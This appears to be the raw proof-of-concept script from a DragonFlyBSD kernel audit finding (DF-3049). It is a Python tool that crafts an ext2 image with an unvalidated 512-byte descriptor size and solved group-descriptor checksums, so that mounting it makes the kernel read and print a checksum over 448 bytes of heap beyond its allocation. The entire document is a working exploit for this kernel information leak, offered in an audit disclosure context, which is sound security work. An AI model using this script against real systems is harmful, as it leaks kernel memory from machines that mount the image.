DragonFlyBSD Kernel Audit
DF-3049 / craft.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""Craft the DF-3049 trigger image: metadata_csum fs, NO 64BIT feature,
s_desc_size patched to 512 (never validated without 64BIT).  Group
descriptors 0..62 get correctly recomputed csums under the desc_size=512
semantics ext2_gd_csum() will use, group 63's stored csum is left wrong, so
the mount fails exactly at group 63 and kprintf()s the "expected" value --
which is crc32c over gd[63]+32 .. gd[63]+512, i.e. 32 in-image bytes plus
448 bytes of kernel heap READ PAST the 4096-byte e2fs_gd allocation.

Usage: craft.py <out.img>
"""
import struct, subprocess, sys

SB_OFF = 1024
GD_BLK = 2          # first gd block (bsize 1024, first_data_block 1)

# ---- crc32c (Castagnoli, reflected, chained seed, no inversions) ----
POLY = 0x82F63B78
_T = []
for i in range(256):
    c = i
    for _ in range(8):
        c = (c >> 1) ^ (POLY if c & 1 else 0)
    _T.append(c)
def crc32c(crc, data):
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc & 0xFFFFFFFF

def rd(f, off, n): f.seek(off); return f.read(n)
def u16(b, o): return struct.unpack_from('<H', b, o)[0]
def p16(b, o, v): struct.pack_into('<H', b, o, v)
def p32(b, o, v): struct.pack_into('<I', b, o, v)

DESC_SIZE = 512
NGROUPS = 64          # 64 * 8192 + 1 blocks of 1K = 524289 * 1024 bytes

def main(out):
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024',
                    '-I', '128', '-N', str(NGROUPS * 64),
                    '-O', 'metadata_csum,^64bit,^has_journal',
                    out, str(NGROUPS * 8192 + 1)], check=True)
    f = open(out, 'r+b')
    sb = bytearray(rd(f, SB_OFF, 1024))
    assert u16(sb, 0x38) == 0xEF53
    bcount = struct.unpack_from('<I', sb, 4)[0]
    gcount = (bcount - 1 + 8192 - 1) // 8192
    print("gcount =", gcount, "bcount =", bcount)
    assert gcount == NGROUPS
    uuid = bytes(sb[0x68:0x78])
    seed = crc32c(0xFFFFFFFF, uuid)     # METADATA_CKSUM w/o CSUM_SEED

    # patch desc_size, refresh sb checksum
    p16(sb, 0xFE, DESC_SIZE)
    p32(sb, 0x3FC, crc32c(0xFFFFFFFF, bytes(sb[:0x3FC])))

    # ---- rebuild gd csums for groups 0..62 under desc_size=512 semantics
    # in-memory gd array entry i (64B): [disk32(i)][32 zero bytes]
    disk = []           # disk 32-byte descriptors (mutable csum field)
    for i in range(NGROUPS):
        d = bytearray(rd(f, GD_BLK * 1024 + i * 32, 32))
        disk.append(d)

    def memrange(i, start, length):
        """bytes of the in-memory gd array starting at entry i + start,
        for length bytes, using current disk[] contents"""
        out = bytearray()
        pos = i * 64 + start
        while len(out) < length:
            e, o = divmod(pos, 64)
            if e >= NGROUPS:
                out += b'\x00' * (length - len(out))   # past-end: kernel heap
                break
            if o < 32:
                out += bytes(disk[e][o:32])
            else:
                out += b'\x00' * (64 - o)
            pos += 64 - o if o >= 32 else 32 - o
        return bytes(out[:length])

    def gd_csum(i):
        c = crc32c(seed, struct.pack('<I', i))
        c = crc32c(c, bytes(disk[i][0:30]))
        c = crc32c(c, b'\x00\x00')
        c = crc32c(c, memrange(i, 32, DESC_SIZE - 32))
        return c & 0xFFFF

    # group 63's deliberately-wrong csum must be set BEFORE the solve:
    # group 56's tail (last fully in-bounds one) includes entry 63.
    p16(disk[NGROUPS - 1], 30, 0xDEAD)

    # backward solve: csum[i] depends on csum[i+1..i+7] (inside tails)
    for i in range(NGROUPS - 2, -1, -1):
        p16(disk[i], 30, gd_csum(i))

    # in-bounds-only (zero-padded) prediction for group 57 -- what the
    # kernel would print if it did NOT read past the gd allocation:
    inbounds57 = gd_csum(NGROUPS - 7)
    print("group 57 zero-padded (in-bounds-only) csum = 0x%04x" % inbounds57)

    for i in range(NGROUPS):
        f.seek(GD_BLK * 1024 + i * 32); f.write(disk[i])
    f.seek(SB_OFF); f.write(sb)
    f.close()
    print("OK wrote", out)
    print("expected console: 'bad gd=%d csum=0xdead expected=0x????'" %
          (NGROUPS - 1))

if __name__ == '__main__':
    main(sys.argv[1])